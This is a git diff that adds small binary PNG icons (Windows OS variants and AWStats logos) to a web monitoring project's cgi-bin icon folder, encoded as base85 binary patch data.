z$iTqBS>O>_%)r1`0>X^hDx0q{Ffg#BJNh~@Fl_AS{*%bcz`$S-;1lBNo0#8H;8eZA zs%vG~(K7Y(o$mK{DBa%_Wm>qSV8-#CCojEuaqj!;d%u2s{{R2`|NsA2wTFCTU|<j^ z3Gxg6j|vzbD91`NFff#Qx;TbZ+)DmY|NPy}@BjZB|IyVgjVXSwdpQ4lko&`{zZ*(A z7f+a^clh-O0e98Z*tXRR6`Q==w(*Fk`7vC|mJB=dCc(ta?)-(Fo19flQtc<?33z(5 ze@Zv$Sem*&J!0#mgS;;P>vu<(to>$x`2YX<^Y`}tmuFDoG`@7fQ`3uqfq}u()z4*} HQ$iB}whfAh literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win2008.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win2008.png new file mode 100644 index 0000000000000000000000000000000000000000..247caed0a5827a4720b6ba4293269cbbcfacc4f4 GIT binary patch literal 318 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>jvI|OyMg2J4 z$iTqBS>O>_%)r1`0>X^hDx0q{Ffg#BJNh~@Fl_AS{*%bcz`$S-;1lBNo0#8H;8eZA zs%vG~(K7Y(o$mK{DBa%_Wm>qSV8-#CCojEuaqj!;d%u2s{{R2`|NsA2wTFCTU|<j^ z3Gxg6j|vzbD91`NFff#Qx;TbZ+)DmY|NPy}@BjZB|IyVgjVXSwdpQ4lko&`{zZ*(A z7f+a^clh-O0e98Z*tXRR6`Q==w(*Fk`7vC|mJB=dCc(ta?)-(Fo19flQtc<?33z(5 ze@Zv$Sem*&J!0#mgS;;P>vu<(to>$x`2YX<^Y`}tmuFDoG`@7fQ`3uqfq}u()z4*} HQ$iB}whfAh literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win7.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win7.png new file mode 100644 index 0000000000000000000000000000000000000000..8001539c7123fcc36be379382afd9d107332299d GIT binary patch literal 729 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u%tWsIx;Y<KVi<=^^$>s zL9)a(q9iy!t)x7$D3!r6B|j-u!8128JvAsbF{QHbWU37V17mZ5Pl)T^zkfe}|Mm0d z&!4}3-GBP>)t8@--+%x1{rm6#|8G5de)rL{k3arizW;pLfy=*s{d)5L%fn}{j^2HD z{NB5dpFUrG{`JR?A1Cg-c=Z0qhfkkxJbS<J=!0wbpWJ==>ix%02hQL4@#pWmkDsnS zc=7A+|C>)=P2P3w!o8<ApS=9~>(BS!|872ev;O?^?WeBae)x3p(Ywoz+<5c-&-TkN z-hceO_v+L0_nyD``uo6@M~AQ6o3{Vn`s3Gs{r>&(%kLk5|DU+^{NlscD-K=0_4wt( zw_iSe{&M@_vp@g;UwZuR;^X%}|NQ&=|Nn(s51+pO@!{v+2hUy}zxMF)i#NBPzCQc# z<AWD(Z$5gl?9`KM&p%v!{_*p#zrX+fJ$vW*m8Tyz9KW&U;<No1?!5o<W7Xj+J1#uD z_4L)L>kmGD{_^qj=e_4|Eje)c#-kT|&)<Ic;p6LfAO8LS|NZyhJvZLoef)gJu1oK~ z|GM|&`RThaZa;qh;MuDqS0A3Z{q*yX-`5{K-*oEMv)6Cmefad~&8Ow3o}9b$<ocsm z^AFtk_wV2T|Npz6`AlbEV7TMy;uunKD=EW)k%95Zg$oB1bQI3cJi_pdiA7+-6oX{m zzDuXm(^sS?v2iFUY}Zh_61sYw&79NLcI*lb5>l^3ZNIXvuI#;$B(b`Nk*Q;$<CPl+ zuQ{A@>IjY9XC??za%r*fq_;|sT_g_g$kqWVxu>iWY@^|NJ0x=Rk_~bS4H7@Pd^i0$ zo2>db<Z6Y86a!Po!N8uw+R>`LzMY3{8}>3PG)T<JVX7@D=3ZlR$1C-fGy_wIquJpN zLGI^N&)=N2f6+olg$9MZ<Rnks&FP7G84Mf>Y$5s#ED{X+gKZv87x1ZIU|?YIboFyt I=akR{0G0;Os{jB1 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win95.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win95.png new file mode 100644 index 0000000000000000000000000000000000000000..a3e9a9684a443e9a09ac4b9bf600183314800e7d GIT binary patch literal 334 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZCYjzu#IDrD<pw6%-^OAQ5C~xb@n- z>|^gGqLK|I1fnE31lo6&=Ud*pcI=_OK=L`m`kyJD3=9m6B|(0{3=Yq3q%kls<axR{ zhE&{2PGDeibQU<7@#xW`GYT3xCdHktT!&K=AD8R@-)_Kh&$#M4i-&QX3F{|c36`fm z@xFmYi90khRxK(@<7!?p@#Q<QgUURaFWq)qH=0yiwalNFcV(fGcWa~W-5W<ekG49V gI1)0U(NTh->$#F<@z$lS3=9kmp00i_>zopr0L6%OmjD0& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win98.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win98.png new file mode 100644 index 0000000000000000000000000000000000000000..a3e9a9684a443e9a09ac4b9bf600183314800e7d GIT binary patch literal 334 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZCYjzu#IDrD<pw6%-^OAQ5C~xb@n- z>|^gGqLK|I1fnE31lo6&=Ud*pcI=_OK=L`m`kyJD3=9m6B|(0{3=Yq3q%kls<axR{ zhE&{2PGDeibQU<7@#xW`GYT3xCdHktT!&K=AD8R@-)_Kh&$#M4i-&QX3F{|c36`fm z@xFmYi90khRxK(@<7!?p@#Q<QgUURaFWq)qH=0yiwalNFcV(fGcWa~W-5W<ekG49V gI1)0U(NTh->$#F<@z$lS3=9kmp00i_>zopr0L6%OmjD0& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/wince.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/wince.png new file mode 100644 index 0000000000000000000000000000000000000000..a3e9a9684a443e9a09ac4b9bf600183314800e7d GIT binary patch literal 334 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZCYjzu#IDrD<pw6%-^OAQ5C~xb@n- z>|^gGqLK|I1fnE31lo6&=Ud*pcI=_OK=L`m`kyJD3=9m6B|(0{3=Yq3q%kls<axR{ zhE&{2PGDeibQU<7@#xW`GYT3xCdHktT!&K=AD8R@-)_Kh&$#M4i-&QX3F{|c36`fm z@xFmYi90khRxK(@<7!?p@#Q<QgUURaFWq)qH=0yiwalNFcV(fGcWa~W-5W<ekG49V gI1)0U(NTh->$#F<@z$lS3=9kmp00i_>zopr0L6%OmjD0& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winlong.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winlong.png new file mode 100644 index 0000000000000000000000000000000000000000..8001539c7123fcc36be379382afd9d107332299d GIT binary patch literal 729 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u%tWsIx;Y<KVi<=^^$>s zL9)a(q9iy!t)x7$D3!r6B|j-u!8128JvAsbF{QHbWU37V17mZ5Pl)T^zkfe}|Mm0d z&!4}3-GBP>)t8@--+%x1{rm6#|8G5de)rL{k3arizW;pLfy=*s{d)5L%fn}{j^2HD z{NB5dpFUrG{`JR?A1Cg-c=Z0qhfkkxJbS<J=!0wbpWJ==>ix%02hQL4@#pWmkDsnS zc=7A+|C>)=P2P3w!o8<ApS=9~>(BS!|872ev;O?^?WeBae)x3p(Ywoz+<5c-&-TkN z-hceO_v+L0_nyD``uo6@M~AQ6o3{Vn`s3Gs{r>&(%kLk5|DU+^{NlscD-K=0_4wt( zw_iSe{&M@_vp@g;UwZuR;^X%}|NQ&=|Nn(s51+pO@!{v+2hUy}zxMF)i#NBPzCQc# z<AWD(Z$5gl?9`KM&p%v!{_*p#zrX+fJ$vW*m8Tyz9KW&U;<No1?!5o<W7Xj+J1#uD z_4L)L>kmGD{_^qj=e_4|Eje)c#-kT|&)<Ic;p6LfAO8LS|NZyhJvZLoef)gJu1oK~ z|GM|&`RThaZa;qh;MuDqS0A3Z{q*yX-`5{K-*oEMv)6Cmefad~&8Ow3o}9b$<ocsm z^AFtk_wV2T|Npz6`AlbEV7TMy;uunKD=EW)k%95Zg$oB1bQI3cJi_pdiA7+-6oX{m zzDuXm(^sS?v2iFUY}Zh_61sYw&79NLcI*lb5>l^3ZNIXvuI#;$B(b`Nk*Q;$<CPl+ zuQ{A@>IjY9XC??za%r*fq_;|sT_g_g$kqWVxu>iWY@^|NJ0x=Rk_~bS4H7@Pd^i0$ zo2>db<Z6Y86a!Po!N8uw+R>`LzMY3{8}>3PG)T<JVX7@D=3ZlR$1C-fGy_wIquJpN zLGI^N&)=N2f6+olg$9MZ<Rnks&FP7G84Mf>Y$5s#ED{X+gKZv87x1ZIU|?YIboFyt I=akR{0G0;Os{jB1 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winme.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winme.png new file mode 100644 index 0000000000000000000000000000000000000000..a3e9a9684a443e9a09ac4b9bf600183314800e7d GIT binary patch literal 334 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZCYjzu#IDrD<pw6%-^OAQ5C~xb@n- z>|^gGqLK|I1fnE31lo6&=Ud*pcI=_OK=L`m`kyJD3=9m6B|(0{3=Yq3q%kls<axR{ zhE&{2PGDeibQU<7@#xW`GYT3xCdHktT!&K=AD8R@-)_Kh&$#M4i-&QX3F{|c36`fm z@xFmYi90khRxK(@<7!?p@#Q<QgUURaFWq)qH=0yiwalNFcV(fGcWa~W-5W<ekG49V gI1)0U(NTh->$#F<@z$lS3=9kmp00i_>zopr0L6%OmjD0& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winnt.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winnt.png new file mode 100644 index 0000000000000000000000000000000000000000..a3e9a9684a443e9a09ac4b9bf600183314800e7d GIT binary patch literal 334 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZCYjzu#IDrD<pw6%-^OAQ5C~xb@n- z>|^gGqLK|I1fnE31lo6&=Ud*pcI=_OK=L`m`kyJD3=9m6B|(0{3=Yq3q%kls<axR{ zhE&{2PGDeibQU<7@#xW`GYT3xCdHktT!&K=AD8R@-)_Kh&$#M4i-&QX3F{|c36`fm z@xFmYi90khRxK(@<7!?p@#Q<QgUURaFWq)qH=0yiwalNFcV(fGcWa~W-5W<ekG49V gI1)0U(NTh->$#F<@z$lS3=9kmp00i_>zopr0L6%OmjD0& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winunknown.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winunknown.png new file mode 100644 index 0000000000000000000000000000000000000000..a3e9a9684a443e9a09ac4b9bf600183314800e7d GIT binary patch literal 334 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZCYjzu#IDrD<pw6%-^OAQ5C~xb@n- z>|^gGqLK|I1fnE31lo6&=Ud*pcI=_OK=L`m`kyJD3=9m6B|(0{3=Yq3q%kls<axR{ zhE&{2PGDeibQU<7@#xW`GYT3xCdHktT!&K=AD8R@-)_Kh&$#M4i-&QX3F{|c36`fm z@xFmYi90khRxK(@<7!?p@#Q<QgUURaFWq)qH=0yiwalNFcV(fGcWa~W-5W<ekG49V gI1)0U(NTh->$#F<@z$lS3=9kmp00i_>zopr0L6%OmjD0& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winvista.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winvista.png new file mode 100644 index 0000000000000000000000000000000000000000..247caed0a5827a4720b6ba4293269cbbcfacc4f4 GIT binary patch literal 318 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>jvI|OyMg2J4 z$iTqBS>O>_%)r1`0>X^hDx0q{Ffg#BJNh~@Fl_AS{*%bcz`$S-;1lBNo0#8H;8eZA zs%vG~(K7Y(o$mK{DBa%_Wm>qSV8-#CCojEuaqj!;d%u2s{{R2`|NsA2wTFCTU|<j^ z3Gxg6j|vzbD91`NFff#Qx;TbZ+)DmY|NPy}@BjZB|IyVgjVXSwdpQ4lko&`{zZ*(A z7f+a^clh-O0e98Z*tXRR6`Q==w(*Fk`7vC|mJB=dCc(ta?)-(Fo19flQtc<?33z(5 ze@Zv$Sem*&J!0#mgS;;P>vu<(to>$x`2YX<^Y`}tmuFDoG`@7fQ`3uqfq}u()z4*} HQ$iB}whfAh literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winxbox.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winxbox.png new file mode 100644 index 0000000000000000000000000000000000000000..85087e4afbe697bcd79f6382a85a1157f2fa682f GIT binary patch literal 661 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZI14-?iy0WWg+Z8+Vb&Z8 z1_lQ95>H=O_G^qH47!>f26dSX3`{1TE{-7@=UETl^$t#yVgK;{{r5S~=e(V>d1sAo zX_r;}2_D^#yqe7~j&-m5#M%|$v4=y2L&;-8N1oEIj(-fDPGzCyVQhj<N{N}Sii;<S zHBO$BclPDB;&YduD@)z>y8LoZl7q6qW_6Vt%JP%d4m3@f!oqtt*WKm*&QIKruSVA! zRde>A{IbH~Qfq-pkx2DAO{rZ@lg+E@j!shgw>Thl_5G@lu#1Vyf+B<UrKIFuzRA0L z$N#r<@$}`*$-z_o<&K5lQ#){If|_2eZnXC{o7<W*E5!5m-jvDOD5duDSJsQKWuJcv zo}R$6kh^JZOjP{I)W<d^9bG5F^cE$xUU{*@v_fak_l?Ex4t}qH*|gZ_;Gxh{r8D;* z{S=${`b}Z|h36sHb{{Tn-`qXXX_@`6B*UqNEL^ib#AtkbU~%ZAberQzxx=~ZH|plv z|4OS>&a0?wa$Z+(Bh=3Sh1aTE#+!bmm^uFoKc9W={`6-r56GQ3^S^fI+}oxP4@_=g zkTx-pn$s)$Yu4J`#p@MQvaUWgk+!wkFFfyONPMx@0&W9OiCv|O%s2em{mgsO$5Rod z6Z>cAIHna&SiVeqdQhmpy~)%oUMJ07DIfdv{NK{8+xA`FHb2+bBjbz;Ptx7<&C06r zb!9evW|5AQpNU!Vmzn3sd*`WmRO(G&W~p{jiHYyCxhiY;{$753gzuwAF5U;ynwc6H z1UnoU7*!7P2rY{X5u0?`c<&NP7gpf{S$%#D2S$bk3J!7(QaMTOTmSxFZE&&9h9Pqy Q0|Nttr>mdKI;Vst0F0y{+yDRo literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winxp.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winxp.png new file mode 100644 index 0000000000000000000000000000000000000000..247caed0a5827a4720b6ba4293269cbbcfacc4f4 GIT binary patch literal 318 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>jvI|OyMg2J4 z$iTqBS>O>_%)r1`0>X^hDx0q{Ffg#BJNh~@Fl_AS{*%bcz`$S-;1lBNo0#8H;8eZA zs%vG~(K7Y(o$mK{DBa%_Wm>qSV8-#CCojEuaqj!;d%u2s{{R2`|NsA2wTFCTU|<j^ z3Gxg6j|vzbD91`NFff#Qx;TbZ+)DmY|NPy}@BjZB|IyVgjVXSwdpQ4lko&`{zZ*(A z7f+a^clh-O0e98Z*tXRR6`Q==w(*Fk`7vC|mJB=dCc(ta?)-(Fo19flQtc<?33z(5 ze@Zv$Sem*&J!0#mgS;;P>vu<(to>$x`2YX<^Y`}tmuFDoG`@7fQ`3uqfq}u()z4*} HQ$iB}whfAh literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/awstats_logo1.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/awstats_logo1.png new file mode 100644 index 0000000000000000000000000000000000000000..cb69646e56d76864f48851f06da75826f89787f1 GIT binary patch literal 2144 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 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/awstats_logo5.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/awstats_logo5.png new file mode 100644 index 0000000000000000000000000000000000000000..9a1822c27ae4b7d6698b7fd7103a3ceae9cf8739 GIT binary patch literal 3693 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 